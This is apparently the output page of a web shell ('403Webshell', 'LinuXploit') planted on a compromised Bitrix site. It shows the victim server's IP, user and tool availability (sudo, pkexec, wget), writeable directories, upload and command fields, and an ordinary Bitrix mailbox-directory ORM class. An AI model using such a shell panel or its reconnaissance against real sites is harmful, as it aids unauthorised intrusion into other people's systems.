403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/mail/lib/internals/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/mail/lib/internals/mailboxdirectory.php
<?php

namespace Bitrix\Mail\Internals;

use Bitrix\Mail\Internals\Entity\MailboxDirectory;
use Bitrix\Main\ORM\Data\DataManager;
use Bitrix\Main\Entity;

/**
 * Class MailboxDirectoryTable
 *
 * DO NOT WRITE ANYTHING BELOW THIS
 *
 * <<< ORMENTITYANNOTATION
 * @method static EO_MailboxDirectory_Query query()
 * @method static EO_MailboxDirectory_Result getByPrimary($primary, array $parameters = array())
 * @method static EO_MailboxDirectory_Result getById($id)
 * @method static EO_MailboxDirectory_Result getList(array $parameters = array())
 * @method static EO_MailboxDirectory_Entity getEntity()
 * @method static \Bitrix\Mail\Internals\Entity\MailboxDirectory createObject($setDefaultValues = true)
 * @method static \Bitrix\Mail\Internals\EO_MailboxDirectory_Collection createCollection()
 * @method static \Bitrix\Mail\Internals\Entity\MailboxDirectory wakeUpObject($row)
 * @method static \Bitrix\Mail\Internals\EO_MailboxDirectory_Collection wakeUpCollection($rows)
 */
class MailboxDirectoryTable extends DataManager
{
	const ACTIVE = 1;
	const INACTIVE = 0;

	const TYPE_INCOME = 'IS_INCOME';
	const TYPE_OUTCOME = 'IS_OUTCOME';
	const TYPE_TRASH = 'IS_TRASH';
	const TYPE_SPAM = 'IS_SPAM';

	public static function getFilePath()
	{
		return __FILE__;
	}

	public static function getTableName()
	{
		return 'b_mail_mailbox_dir';
	}

	public static function getObjectClass()
	{
		return MailboxDirectory::class;
	}

	public static function getMap()
	{
		return [
			'ID'            => [
				'data_type'    => 'integer',
				'primary'      => true,
				'autocomplete' => true,
			],
			'MAILBOX_ID'    => [
				'data_type' => 'integer',
			],
			'NAME'          => [
				'data_type' => 'string',
				'required'  => true,
				'fetch_data_modification' => ['\Bitrix\Main\Text\Emoji', 'getFetchModificator']
			],
			'PATH'          => [
				'data_type' => 'string',
				'required'  => true,
				'fetch_data_modification' => ['\Bitrix\Main\Text\Emoji', 'getFetchModificator']
			],
			'FLAGS'         => [
				'data_type' => 'string',
			],
			'DELIMITER'     => [
				'data_type' => 'string',
			],
			'DIR_MD5'       => [
				'data_type' => 'string',
			],
			'LEVEL'         => [
				'data_type' => 'integer',
			],
			'MESSAGE_COUNT' => [
				'data_type' => 'integer',
			],
			'PARENT_ID'     => [
				'data_type' => 'integer',
			],
			'ROOT_ID'       => [
				'data_type' => 'integer',
			],
			'IS_SYNC'       => [
				'data_type' => 'integer',
				'values'    => [self::ACTIVE, self::INACTIVE],
			],
			'IS_DISABLED'   => [
				'data_type' => 'integer',
				'values'    => [self::ACTIVE, self::INACTIVE],
			],
			'IS_INCOME'     => [
				'data_type' => 'integer',
				'values'    => [self::ACTIVE, self::INACTIVE],
			],
			'IS_OUTCOME'    => [
				'data_type' => 'integer',
				'values'    => [self::ACTIVE, self::INACTIVE],
			],
			'IS_DRAFT'      => [
				'data_type' => 'integer',
				'values'    => [self::ACTIVE, self::INACTIVE],
			],
			'IS_TRASH'      => [
				'data_type' => 'integer',
				'values'    => [self::ACTIVE, self::INACTIVE],
			],
			'IS_SPAM'       => [
				'data_type' => 'integer',
				'values'    => [self::ACTIVE, self::INACTIVE],
			],
			'SYNC_TIME'     => [
				'data_type' => 'integer',
			],
			'SYNC_LOCK'     => [
				'data_type' => 'integer',
			],
			new Entity\BooleanField('IS_DATE_CACHED'),
			new Entity\DatetimeField('INTERNAL_START_DATE'),
		];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit